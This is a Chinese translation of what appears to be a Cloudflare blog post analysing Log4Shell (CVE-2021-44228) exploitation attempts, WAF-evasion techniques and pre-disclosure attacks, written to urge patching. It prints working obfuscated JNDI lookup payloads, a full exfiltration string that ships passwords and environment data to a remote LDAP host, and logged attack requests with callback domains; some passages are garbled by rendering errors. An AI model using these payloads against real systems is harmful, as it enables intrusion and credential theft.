在此博客帖文中,我們將介紹全球出現(xiàn)的 WAF 規(guī)避模式和泄露企圖,有關(guān)漏洞利用企圖的趨勢數(shù)據(jù),以及有關(guān)我們在 CVE-2021-44228 公開披露之前看到的漏洞利用的信息。
簡而言之,我們在 12 月 1 日看到了對該漏洞的有限測試,即在公開披露之前的 8 天。我們在公開披露后僅 9 分鐘就看到了利用該漏洞的第一次嘗試,足見攻擊者利用新發(fā)現(xiàn)的漏洞的速度有多快。
我們還發(fā)現(xiàn)大量企圖,嘗試執(zhí)行簡單阻止而繞過 WAF,并且企圖泄露密鑰憑證和密碼等數(shù)據(jù)。
WAF 規(guī)避模式和泄露示例
自披露 CVE-2021-44228(現(xiàn)在通常稱為 Log4Shell)以來,我們發(fā)現(xiàn)攻擊者采用了許多手段,從使用簡單的攻擊字符串,到積極設(shè)法繞過 WAF 的阻止,不一而足。WAF 提供了阻止外部攻擊者的有用工具,而攻擊者往往企圖規(guī)避 WAF 以繞過那些過于簡單的規(guī)則。
在 Log4j 漏洞利用的最早階段,攻擊者使用通常以 ${jndi:dns, ${jndi:rmi 和 ${jndi:ldap 開頭的解除混淆的字符串以及簡單的規(guī)則來查找那些有效的模式。
在這些字符串被阻止之后,攻擊者迅速改用規(guī)避方法。他們曾經(jīng)并且仍在使用標(biāo)準(zhǔn)規(guī)避方法(對字符轉(zhuǎn)義或編碼)以及針對 Log4j 查找語言量身定做的規(guī)避手段。
任何勝任其職的 WAF 都能夠處理標(biāo)準(zhǔn)方法。將 ${ 編碼為 %24%7B 或 \u0024\u007b 之類的伎倆,早在應(yīng)用規(guī)則以檢查所使用的特定漏洞利用之前就可輕松逆轉(zhuǎn)。
然而,Log4j 語言有一些豐富的特性,使得隱藏一些 WAF 所查找的關(guān)鍵字符串成為可能。例如,查找會(huì)將字符串轉(zhuǎn)變?yōu)樾?。因此,{lower:H} 會(huì)變成 h。使用查找,攻擊者可以偽裝 jndi 之類的關(guān)鍵字符串,以便規(guī)避 WAF。
在真實(shí)場景中,我們發(fā)現(xiàn)有人使用 ${date}、 ${lower}、${upper}、${web}、和{env} 進(jìn)行規(guī)避。此外,、{sys} 和 ${main}(以及針對 Docker、Kubernetes 和其他系統(tǒng)的其他專門查找)被用于泄露目標(biāo)進(jìn)程的環(huán)境中的數(shù)據(jù)(包括關(guān)鍵密鑰)。
要更好地理解此語言的用法,請參閱下面的小 Java 程序,它從命令行接受一個(gè)字符串,并通過 Log4j 將其記錄到控制臺(tái):
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4jTester{
private static final Logger logger = LogManager.getLogger(log4jTester.class);
public static void main(String[] args) {
logger.error(args[0]);
}
}
這個(gè)簡單的程序向控制臺(tái)輸出內(nèi)容。這里它記錄了 hide 這個(gè)詞。
$ java log4jTester.java 'hide'
01:28:25.606 [main] ERROR log4jTester - hide
Log4j 語言允許在 之內(nèi)使用{},因而攻擊者能夠組合多個(gè)不同的關(guān)鍵字進(jìn)行規(guī)避。例如,以下 {lower:Extra close brace or missing open brace{lower:D}e 會(huì)被記錄為 hide 一詞。這樣一來,舉例來說,攻擊者就很容易規(guī)避對 ${jndi 的簡單化搜索,因?yàn)?jndi 可以通過類似方式進(jìn)行隱藏。
$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide
其他主要的規(guī)避方法利用了 :- 語法。利用該語法,攻擊者可以為查找設(shè)置默認(rèn)值,如果所查找的值為空,則會(huì)輸出默認(rèn)值。因此,舉例來說,可以通過查找不存在的環(huán)境變量來輸出一個(gè)詞的字母。
$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}'
01:35:34.280 [main] ERROR log4jTester - hide
類似方法用于 、{main} 等,以及 或{::::::-h} 之類的字符串,后兩者都會(huì)變成 h。當(dāng)然,組合使用這些方法還會(huì)造成越來越復(fù)雜的規(guī)避企圖。
要感受一下規(guī)避是如何迅速運(yùn)作的,請參閱下面的圖表,其中顯示了出現(xiàn)在 WAF 塊(橙線)中的解除混淆的 ${jndi:、查找(綠線)的使用、編碼(藍(lán)線)的使用,以及最近流行的一種特定規(guī)避方法:{{::-n}{::-i}(紅線)。
在開頭幾天,規(guī)避情況相對罕見。然而,現(xiàn)在,盡管 ${jndi: 之類的幼稚字符串仍然大行其道,規(guī)避情況已經(jīng)大增,WAF 必須阻止這些改進(jìn)的攻擊。
我們上周寫過漏洞利用的初始階段,這些階段主要是開展偵察工作。在那之后,攻擊者已進(jìn)展到數(shù)據(jù)提取。
我們發(fā)現(xiàn) 被用于提取環(huán)境變量,{sys} 被用于獲取有關(guān) Log4j 運(yùn)行的系統(tǒng)的信息。這是在真實(shí)場景中被阻止的一個(gè)攻擊企圖,該攻擊企圖泄露各種 Log4j 查找中的大量數(shù)據(jù):
${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}
其中您可以看到,用戶、主目錄、Docker 鏡像名稱、Kubernetes 和 Spring 的詳情、用戶和數(shù)據(jù)庫的密碼、主機(jī)名和命令行參數(shù)都被泄露。
由于規(guī)避和泄露手段異常復(fù)雜,WAF 供應(yīng)商需要檢查 ${ 的任何出現(xiàn)情況,并作可疑處理。為此,我們做了進(jìn)一步的工作,清理我們發(fā)送給客戶的所有日志,將 ${ 轉(zhuǎn)換為 x{。
Cloudflare WAF 團(tuán)隊(duì)一直在設(shè)法阻止企圖的漏洞利用,但客戶使用最新版本的 Log4j 修補(bǔ)其系統(tǒng)或應(yīng)用緩解措施仍然至關(guān)重要。由于記錄的數(shù)據(jù)并不一定通過互聯(lián)網(wǎng)傳輸,因此系統(tǒng)無論聯(lián)網(wǎng)都需要修補(bǔ)。
所有付費(fèi)客戶都有可配置的 WAF 規(guī)則,用于幫助防御 CVE-2021-44228,并且我們還為免費(fèi)客戶部署了保護(hù)措施。
CVE-2021-44228 漏洞利用趨勢
Cloudflare 迅速實(shí)施了 WAF 規(guī)則以幫助阻止這些攻擊。以下圖表顯示了這些被阻止的攻擊是如何演變的。
從 12 月 10 日到 12 月 13 日,我們發(fā)現(xiàn)每分鐘阻止的次數(shù)攀升,如下所示。
加拿大(下面的綠線)是漏洞利用企圖的最大來源國。在我們做出預(yù)測之后,這種態(tài)勢并未延續(xù),現(xiàn)在攻擊來自全世界各地,有直接來自服務(wù)器的,也有通過代理的。
披露之前的 CVE-2021-44228 漏洞利用
CVE-2021-44228 在 2021-12-09 14:25 UTC 的推文(現(xiàn)已刪除)中披露:
但是,我們的系統(tǒng)在 2021 年 12 月 1 日捕獲到三次漏洞利用或掃描企圖。如下所示。在每一次企圖中,我混淆了 IP 地址和域名。這三次企圖將 ${jndi:ldap} 查找注入到 HTTP User-Agent 標(biāo)頭、Referer 標(biāo)頭和 URI 參數(shù)中。
2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D
2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D
2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D
在這三次企圖之后,我們沒有發(fā)現(xiàn)進(jìn)一步的活動(dòng),直到公開披露 9 分鐘之后,有人企圖在一個(gè)游戲網(wǎng)站上通過 URI 參數(shù)注入 ${jndi:ldap} 字符串。
2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}
總結(jié)
CVE-2021-44228 被大量侵入者廣泛地利用。WAF 作為幫助防止外部攻擊的措施很有效,但它們并不是萬無一失,攻擊者也在想方設(shè)法進(jìn)行規(guī)避。數(shù)據(jù)和憑證泄露的潛在可能性出奇地高,更具破壞力的入侵和攻擊的長期風(fēng)險(xiǎn)非常高。
立即緩解并修補(bǔ)使用 Log4j 的受影響軟件至關(guān)重要,切莫猶豫。